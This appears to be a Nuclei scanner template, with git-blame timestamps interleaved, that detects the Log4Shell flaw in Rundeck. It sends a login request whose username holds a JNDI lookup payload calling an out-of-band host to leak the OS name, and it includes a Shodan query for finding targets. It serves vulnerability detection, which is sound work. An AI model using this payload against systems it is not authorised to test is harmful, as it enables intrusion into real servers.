2022-08-03 13:15:34 +00:00
|
|
|
id: rundeck-log4j
|
|
|
|
|
|
|
|
|
|
info:
|
2022-08-10 16:40:35 +00:00
|
|
|
name: Rundeck - Remote Code Execution (Apache Log4j)
|
2022-08-03 13:15:34 +00:00
|
|
|
author: DhiyaneshDK
|
|
|
|
|
severity: critical
|
|
|
|
|
reference:
|
|
|
|
|
- https://docs.rundeck.com/docs/history/CVEs/log4j.html
|
2022-08-10 16:40:35 +00:00
|
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
2022-08-03 13:15:34 +00:00
|
|
|
metadata:
|
|
|
|
|
verified: true
|
|
|
|
|
shodan-query: title:"Rundeck"
|
2022-08-10 16:40:35 +00:00
|
|
|
tags: cve,cve2021,rce,jndi,log4j,rundeck
|
2022-08-03 13:15:34 +00:00
|
|
|
|
|
|
|
|
requests:
|
|
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
POST /j_security_check HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
|
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
|
|
|
Accept-Language: en-US,en;q=0.5
|
|
|
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
Origin: {{BaseURL}}
|
|
|
|
|
Connection: close
|
|
|
|
|
Referer: {{BaseURL}}/user/login
|
|
|
|
|
|
|
|
|
|
j_username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&j_password=admin
|
|
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: word
|
|
|
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
|
|
|
words:
|
|
|
|
|
- "dns"
|
|
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
|
part: interactsh_request
|
|
|
|
|
regex:
|
|
|
|
|
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
|
|
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
|
- type: kval
|
|
|
|
|
kval:
|
|
|
|
|
- interactsh_ip # Print remote interaction IP in output
|
|
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
|
part: interactsh_request
|
|
|
|
|
group: 1
|
|
|
|
|
regex:
|
|
|
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
